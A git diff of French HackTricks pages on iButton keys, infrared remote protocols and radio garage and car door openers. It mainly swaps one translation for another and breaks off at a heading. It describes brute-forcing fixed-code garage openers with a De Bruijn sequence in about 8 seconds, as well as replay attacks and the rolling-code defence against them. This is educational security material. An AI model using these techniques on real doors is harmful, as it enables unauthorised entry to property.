* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Intro
|
||||
|
||||
iButton est un nom générique pour une clé d'identification électronique emballée dans un **conteneur métallique en forme de pièce de monnaie**. On l'appelle également mémoire tactile Dallas ou mémoire de contact. Bien qu'on l'appelle souvent à tort une clé "magnétique", il n'y a **rien de magnétique** en elle. En fait, une **micro-puce** complète fonctionnant sur un protocole numérique est cachée à l'intérieur.
|
||||
iButton est un nom générique pour une clé d'identification électronique emballée dans un **conteneur métallique en forme de pièce**. On l'appelle aussi **Dallas Touch** Memory ou mémoire de contact. Bien qu'il soit souvent à tort désigné comme une clé "magnétique", il n'y a **rien de magnétique** dedans. En fait, une **micro-puce** complète fonctionnant sur un protocole numérique est cachée à l'intérieur.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (19).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Qu'est-ce que iButton ? <a href="#what-is-ibutton" id="what-is-ibutton"></a>
|
||||
|
||||
Généralement, iButton implique la forme physique de la clé et du lecteur - une pièce ronde avec deux contacts. Pour le cadre qui l'entoure, il existe de nombreuses variations, du support en plastique le plus courant avec un trou aux bagues, pendentifs, etc.
|
||||
Généralement, iButton implique la forme physique de la clé et du lecteur - une pièce ronde avec deux contacts. Pour le cadre qui l'entoure, il existe de nombreuses variations, de la plus courante, un support en plastique avec un trou, à des anneaux, pendentifs, etc.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (23) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Lorsque la clé atteint le lecteur, les **contacts se touchent** et la clé est alimentée pour **transmettre** son ID. Parfois, la clé n'est **pas lue** immédiatement parce que le **PSD de contact d'un interphone est plus grand** qu'il ne devrait l'être. Ainsi, les contours extérieurs de la clé et du lecteur ne peuvent pas se toucher. Si c'est le cas, vous devrez appuyer sur la clé sur l'un des murs du lecteur.
|
||||
Lorsque la clé atteint le lecteur, les **contacts se touchent** et la clé est alimentée pour **transmettre** son ID. Parfois, la clé n'est **pas lue** immédiatement parce que le **PSD de contact d'un interphone est plus grand** qu'il ne devrait l'être. Ainsi, les contours extérieurs de la clé et du lecteur ne pouvaient pas se toucher. Si c'est le cas, vous devrez appuyer la clé contre l'une des parois du lecteur.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (21) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **Protocole 1-Wire** <a href="#1-wire-protocol" id="1-wire-protocol"></a>
|
||||
|
||||
Les clés Dallas échangent des données en utilisant le protocole 1-wire. Avec un seul contact pour le transfert de données (!!) dans les deux sens, du maître à l'esclave et vice versa. Le protocole 1-wire fonctionne selon le modèle Maître-Esclave. Dans cette topologie, le Maître initie toujours la communication et l'Esclave suit ses instructions.
|
||||
Les clés Dallas échangent des données en utilisant le protocole 1-Wire. Avec seulement un contact pour le transfert de données (!!) dans les deux directions, du maître à l'esclave et vice versa. Le protocole 1-Wire fonctionne selon le modèle Maître-Esclave. Dans cette topologie, le Maître initie toujours la communication et l'Esclave suit ses instructions.
|
||||
|
||||
Lorsque la clé (Esclave) contacte l'interphone (Maître), la puce à l'intérieur de la clé s'allume, alimentée par l'interphone, et la clé est initialisée. Ensuite, l'interphone demande l'ID de la clé. Ensuite, nous examinerons ce processus plus en détail.
|
||||
Lorsque la clé (Esclave) entre en contact avec l'interphone (Maître), la puce à l'intérieur de la clé s'allume, alimentée par l'interphone, et la clé est initialisée. Ensuite, l'interphone demande l'ID de la clé. Nous examinerons ce processus plus en détail par la suite.
|
||||
|
||||
Flipper peut fonctionner à la fois en mode Maître et Esclave. En mode lecture de clé, Flipper agit en tant que lecteur, c'est-à-dire qu'il fonctionne en tant que Maître. Et en mode émulation de clé, le flipper prétend être une clé, il est en mode Esclave.
|
||||
Flipper peut fonctionner à la fois en modes Maître et Esclave. En mode lecture de clé, Flipper agit comme un lecteur, c'est-à-dire qu'il fonctionne comme un Maître. Et en mode émulation de clé, le flipper prétend être une clé, il est en mode Esclave.
|
||||
|
||||
### Clés Dallas, Cyfral & Metakom
|
||||
|
||||
|
@ -54,12 +56,14 @@ Les iButtons peuvent être attaqués avec Flipper Zero :
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,72 +2,105 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Comment fonctionne l'infrarouge <a href="#how-the-infrared-port-works" id="how-the-infrared-port-works"></a>
|
||||
## Fonctionnement de l'Infrarouge <a href="#how-the-infrared-port-works" id="how-the-infrared-port-works"></a>
|
||||
|
||||
**La lumière infrarouge est invisible pour les humains**. La longueur d'onde de l'infrarouge est de **0,7 à 1000 microns**. Les télécommandes domestiques utilisent un signal infrarouge pour la transmission de données et fonctionnent dans la plage de longueurs d'onde de 0,75 à 1,4 microns. Un microcontrôleur dans la télécommande fait clignoter une LED infrarouge avec une fréquence spécifique, transformant le signal numérique en un signal infrarouge.
|
||||
**La lumière infrarouge est invisible pour les humains**. La longueur d'onde IR est de **0,7 à 1000 microns**. Les télécommandes domestiques utilisent un signal IR pour la transmission de données et fonctionnent dans la plage de longueur d'onde de 0,75..1,4 microns. Un microcontrôleur dans la télécommande fait clignoter une LED infrarouge avec une fréquence spécifique, transformant le signal numérique en signal IR.
|
||||
|
||||
Pour recevoir des signaux infrarouges, un **photorécepteur** est utilisé. Il **convertit la lumière infrarouge en impulsions de tension**, qui sont déjà des **signaux numériques**. Habituellement, il y a un **filtre de lumière sombre à l'intérieur du récepteur**, qui laisse passer **seulement la longueur d'onde désirée** et élimine le bruit.
|
||||
Pour recevoir des signaux IR, un **photoreceiver** est utilisé. Il **convertit la lumière IR en impulsions de tension**, qui sont déjà des **signaux numériques**. Habituellement, il y a un **filtre de lumière sombre à l'intérieur du récepteur**, qui laisse **passer uniquement la longueur d'onde souhaitée** et élimine le bruit.
|
||||
|
||||
### Variété de protocoles infrarouges <a href="#variety-of-ir-protocols" id="variety-of-ir-protocols"></a>
|
||||
### Variété de protocoles IR <a href="#variety-of-ir-protocols" id="variety-of-ir-protocols"></a>
|
||||
|
||||
Les protocoles infrarouges diffèrent selon 3 facteurs :
|
||||
Les protocoles IR diffèrent selon 3 facteurs :
|
||||
|
||||
* encodage de bits
|
||||
* structure de données
|
||||
* fréquence porteuse - souvent dans la plage de 36 à 38 kHz
|
||||
* codage des bits
|
||||
* structure des données
|
||||
* fréquence porteuse — souvent dans la plage 36..38 kHz
|
||||
|
||||
#### Modes d'encodage de bits <a href="#bit-encoding-ways" id="bit-encoding-ways"></a>
|
||||
#### Méthodes de codage des bits <a href="#bit-encoding-ways" id="bit-encoding-ways"></a>
|
||||
|
||||
**1. Encodage de distance d'impulsion**
|
||||
**1. Codage par Distance d'Impulsion**
|
||||
|
||||
Les bits sont encodés en modulant la durée de l'espace entre les impulsions. La largeur de l'impulsion elle-même est constante.
|
||||
Les bits sont codés en modulant la durée de l'espace entre les impulsions. La largeur de l'impulsion elle-même est constante.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Encodage de la largeur d'impulsion**
|
||||
**2. Codage par Largeur d'Impulsion**
|
||||
|
||||
Les bits sont encodés par modulation de la largeur d'impulsion. La largeur de l'espace après la rafale d'impulsions est constante.
|
||||
Les bits sont codés par modulation de la largeur de l'impulsion. La largeur de l'espace après la salve d'impulsion est constante.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (29) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**3. Encodage de phase**
|
||||
**3. Codage de Phase**
|
||||
|
||||
Il est également connu sous le nom d'encodage Manchester. La valeur logique est définie par la polarité de la transition entre la rafale d'impulsions et l'espace. "Espace à la rafale d'impulsions" indique la logique "0", "rafale d'impulsions à l'espace" indique la logique "1".
|
||||
Il est également connu sous le nom de codage Manchester. La valeur logique est définie par la polarité de la transition entre la salve d'impulsion et l'espace. "Espace à salve d'impulsion" indique logique "0", "salve d'impulsion à espace" indique logique "1".
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (25).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**4. Combinaison des précédents et autres exotiques**
|
||||
**4. Combinaison des précédentes et autres exotiques**
|
||||
|
||||
{% hint style="info" %}
|
||||
Il existe des protocoles infrarouges qui **tentent de devenir universels** pour plusieurs types de dispositifs. Les plus célèbres sont RC5 et NEC. Malheureusement, les plus célèbres **ne signifient pas les plus courants**. Dans mon environnement, j'ai rencontré seulement deux télécommandes NEC et aucune télécommande RC5.
|
||||
Il existe des protocoles IR qui **tentent de devenir universels** pour plusieurs types d'appareils. Les plus célèbres sont RC5 et NEC. Malheureusement, le plus célèbre **ne signifie pas le plus commun**. Dans mon environnement, j'ai rencontré juste deux télécommandes NEC et aucune RC5.
|
||||
|
||||
Les fabricants aiment utiliser leurs propres protocoles infrarouges uniques, même au sein de la même gamme de dispositifs (par exemple, les décodeurs TV). Par conséquent, les télécommandes de différentes entreprises et parfois de différents modèles de la même entreprise, ne peuvent pas fonctionner avec d'autres dispositifs du même type.
|
||||
Les fabricants aiment utiliser leurs propres protocoles IR uniques, même au sein de la même gamme d'appareils (par exemple, les boîtiers TV). Par conséquent, les télécommandes de différentes entreprises et parfois de différents modèles de la même entreprise, ne peuvent pas fonctionner avec d'autres appareils du même type.
|
||||
{% endhint %}
|
||||
|
||||
### Exploration d'un signal infrarouge
|
||||
### Exploration d'un signal IR
|
||||
|
||||
La manière la plus fiable de voir à quoi ressemble le signal infrarouge de la télécommande est d'utiliser un oscilloscope. Il ne démodule ni n'inverse le signal reçu, il est simplement affiché "tel quel". Cela est utile pour les tests et le débogage. Je vais montrer le signal attendu sur l'exemple du protocole infrarouge NEC.
|
||||
La manière la plus fiable de voir à quoi ressemble le signal IR d'une télécommande est d'utiliser un oscilloscope. Il ne démodule ni n'inverse le signal reçu, il est simplement affiché "tel quel". Cela est utile pour les tests et le débogage. Je vais montrer le signal attendu sur l'exemple du protocole IR NEC.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (18) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Habituellement, il y a un préambule au début d'un paquet encodé. Cela permet au récepteur de déterminer le niveau de gain et de bruit de fond. Il existe également des protocoles sans préambule, par exemple Sharp.
|
||||
Habituellement, il y a un préambule au début d'un paquet codé. Cela permet au récepteur de déterminer le niveau de gain et de fond. Il existe également des protocoles sans préambule, par exemple Sharp.
|
||||
|
||||
Ensuite, les données sont transmises. La structure, le préambule et la méthode d'encodage des bits sont déterminés par le protocole spécifique.
|
||||
Ensuite, les données sont transmises. La structure, le préambule et la méthode de codage des bits sont déterminés par le protocole spécifique.
|
||||
|
||||
Le **protocole infrarouge NEC** contient une commande courte et un code de répétition, qui est envoyé pendant que le bouton est enfoncé. La commande et le code de répétition ont le même préambule au début.
|
||||
Le **protocole IR NEC** contient une commande courte et un code de répétition, qui est envoyé tant que le bouton est pressé. La commande et le code de répétition ont le même préambule au début.
|
||||
|
||||
La **commande NEC**, en plus du préambule, se compose d'un octet d'adresse et d'un octet de numéro de commande, par lequel le dispositif comprend ce qui doit être effectué. Les octets d'adresse et de numéro de commande sont dupliqués avec des valeurs inverses, pour vérifier l'intégrité de la transmission. Il y a un bit d'arrêt supplémentaire à la fin de la commande.
|
||||
La **commande NEC**, en plus du préambule, se compose d'un octet d'adresse et d'un octet de numéro de commande, par lesquels l'appareil comprend ce qui doit être effectué. Les octets d'adresse et de numéro de commande sont dupliqués avec des valeurs inversées, pour vérifier l'intégrité de la transmission. Il y a un bit d'arrêt supplémentaire à la fin de la commande.
|
||||
|
||||
Le **code de répétition** a un "1" après le préambule, qui est un bit d'arrêt.
|
||||
|
||||
Pour les **logiques "0" et "1"**, NEC utilise l'encodage de distance d'impulsion : d'abord, une rafale d'impulsions est transmise, après quoi il y a une pause, dont
|
||||
Pour **logique "0" et "1"** NEC utilise le Codage par Distance d'Impulsion : d'abord, une salve d'impulsion est transmise après quoi il y a une pause, sa longueur définit la valeur du bit.
|
||||
|
||||
### Climatiseurs
|
||||
|
||||
Contrairement aux autres télécommandes, **les climatiseurs ne transmettent pas seulement le code du bouton pressé**. Ils **transmettent également toutes les informations** lorsqu'un bouton est pressé pour s'assurer que la **machine climatisée et la télécommande sont synchronisées**.\
|
||||
Cela évitera qu'une machine réglée à 20ºC soit augmentée à 21ºC avec une télécommande, puis lorsqu'une autre télécommande, qui a toujours la température à 20ºC, est utilisée pour augmenter davantage la température, elle l'"augmentera" à 21ºC (et non à 22ºC en pensant qu'elle est à 21ºC).
|
||||
|
||||
### Attaques
|
||||
|
||||
Vous pouvez attaquer l'Infrarouge avec Flipper Zero :
|
||||
|
||||
{% content-ref url="flipper-zero/fz-infrared.md" %}
|
||||
[fz-infrared.md](flipper-zero/fz-infrared.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Références
|
||||
|
||||
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,42 +2,44 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Portes de garage
|
||||
## Portes de Garage
|
||||
|
||||
Les ouvre-portes de garage fonctionnent généralement à des fréquences comprises entre 300 et 190 MHz, les fréquences les plus courantes étant de 300 MHz, 310 MHz, 315 MHz et 390 MHz. Cette plage de fréquences est couramment utilisée pour les ouvre-portes de garage car elle est moins encombrée que d'autres bandes de fréquences et est moins susceptible de subir des interférences d'autres appareils.
|
||||
Les ouvre-portes de garage fonctionnent généralement à des fréquences dans la plage de 300-190 MHz, les fréquences les plus courantes étant 300 MHz, 310 MHz, 315 MHz et 390 MHz. Cette gamme de fréquences est couramment utilisée pour les ouvre-portes de garage car elle est moins encombrée que d'autres bandes de fréquences et est moins susceptible de subir des interférences d'autres appareils.
|
||||
|
||||
## Portes de voiture
|
||||
## Portières de Voiture
|
||||
|
||||
La plupart des télécommandes de voiture fonctionnent soit sur **315 MHz soit sur 433 MHz**. Ce sont toutes deux des fréquences radio, et elles sont utilisées dans différentes applications. La principale différence entre les deux fréquences est que 433 MHz a une portée plus longue que 315 MHz. Cela signifie que 433 MHz est plus adapté aux applications nécessitant une portée plus longue, comme l'ouverture sans clé à distance.\
|
||||
En Europe, on utilise couramment la fréquence de 433,92 MHz et aux États-Unis et au Japon, c'est la fréquence de 315 MHz.
|
||||
La plupart des clés de voiture fonctionnent soit sur **315 MHz ou 433 MHz**. Ce sont toutes les deux des fréquences radio, et elles sont utilisées dans une variété d'applications différentes. La principale différence entre les deux fréquences est que 433 MHz a une portée plus longue que 315 MHz. Cela signifie que 433 MHz est mieux pour les applications nécessitant une portée plus longue, comme l'entrée sans clé à distance.\
|
||||
En Europe, le 433.92MHz est couramment utilisé et aux États-Unis et au Japon, c'est le 315MHz.
|
||||
|
||||
## **Attaque par force brute**
|
||||
## **Attaque par Brute-force**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (3) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si au lieu d'envoyer chaque code 5 fois (envoyé de cette manière pour s'assurer que le récepteur le reçoit), vous l'envoyez une seule fois, le temps est réduit à 6 minutes :
|
||||
Si au lieu d'envoyer chaque code 5 fois (envoyé ainsi pour s'assurer que le récepteur le reçoit) on l'envoie une seule fois, le temps est réduit à 6 minutes :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
et si vous **supprimez la période d'attente de 2 ms** entre les signaux, vous pouvez **réduire le temps à 3 minutes**.
|
||||
et si vous **supprimez les 2 ms d'attente** entre les signaux, vous pouvez **réduire le temps à 3 minutes.**
|
||||
|
||||
De plus, en utilisant la séquence de De Bruijn (une façon de réduire le nombre de bits nécessaires pour envoyer tous les nombres binaires potentiels à forcer), ce **temps est réduit à seulement 8 secondes** :
|
||||
De plus, en utilisant la Séquence de De Bruijn (une manière de réduire le nombre de bits nécessaires pour envoyer tous les nombres binaires potentiels pour le brute-force), ce **temps est réduit à seulement 8 secondes** :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (2) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Un exemple de cette attaque a été implémenté dans [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame)
|
||||
|
||||
L'utilisation d'un **préambule évitera l'optimisation de la séquence de De Bruijn** et les **codes tournants empêcheront cette attaque** (en supposant que le code soit suffisamment long pour ne pas être forcé).
|
||||
Exiger **un préambule évitera l'optimisation de la Séquence de De Bruijn** et **les codes tournants empêcheront cette attaque** (en supposant que le code soit assez long pour ne pas être brute-forcé).
|
||||
|
||||
## Attaque Sub-GHz
|
||||
|
||||
|
@ -47,47 +49,48 @@ Pour attaquer ces signaux avec Flipper Zero, consultez :
|
|||
[fz-sub-ghz.md](flipper-zero/fz-sub-ghz.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Protection des codes tournants
|
||||
## Protection par Codes Tournants
|
||||
|
||||
Les ouvre-portes de garage automatiques utilisent généralement une télécommande sans fil pour ouvrir et fermer la porte de garage. La télécommande **envoie un signal radio (RF)** à l'ouvre-porte de garage, qui active le moteur pour ouvrir ou fermer la porte.
|
||||
Les ouvre-portes de garage automatiques utilisent généralement une télécommande sans fil pour ouvrir et fermer la porte de garage. La télécommande **envoie un signal de fréquence radio (RF)** à l'ouvre-porte de garage, qui active le moteur pour ouvrir ou fermer la porte.
|
||||
|
||||
Il est possible pour quelqu'un d'utiliser un appareil appelé un codeur pour intercepter le signal RF et l'enregistrer pour une utilisation ultérieure. C'est ce qu'on appelle une **attaque de rejeu**. Pour prévenir ce type d'attaque, de nombreux ouvre-portes de garage modernes utilisent une méthode de chiffrement plus sécurisée appelée **code tournant**.
|
||||
Il est possible pour quelqu'un d'utiliser un appareil connu sous le nom de code grabber pour intercepter le signal RF et l'enregistrer pour une utilisation ultérieure. Cela est connu sous le nom d'**attaque par replay**. Pour prévenir ce type d'attaque, de nombreux ouvre-portes de garage modernes utilisent une méthode de chiffrement plus sécurisée connue sous le nom de système de **codes tournants**.
|
||||
|
||||
Le **signal RF est généralement transmis à l'aide d'un code tournant**, ce qui signifie que le code change à chaque utilisation. Cela rend **difficile** pour quelqu'un d'**intercepter** le signal et de l'utiliser pour **accéder sans autorisation** au garage.
|
||||
Le **signal RF est généralement transmis en utilisant un code tournant**, ce qui signifie que le code change à chaque utilisation. Cela rend **difficile** pour quelqu'un d'**intercepter** le signal et de l'**utiliser** pour obtenir un accès **non autorisé** au garage.
|
||||
|
||||
Dans un système de code tournant, la télécommande et l'ouvre-porte de garage ont un **algorithme partagé** qui **génère un nouveau code** à chaque utilisation de la télécommande. L'ouvre-porte de garage ne répondra qu'au **code correct**, ce qui rend beaucoup plus difficile pour quelqu'un d'accéder sans autorisation au garage simplement en capturant un code.
|
||||
Dans un système de codes tournants, la télécommande et l'ouvre-porte de garage ont un **algorithme partagé** qui **génère un nouveau code** à chaque fois que la télécommande est utilisée. L'ouvre-porte de garage ne répondra qu'au **bon code**, rendant beaucoup plus difficile pour quelqu'un d'obtenir un accès non autorisé au garage juste en capturant un code.
|
||||
|
||||
### **Attaque du maillon manquant**
|
||||
### **Attaque par Manque de Liaison**
|
||||
|
||||
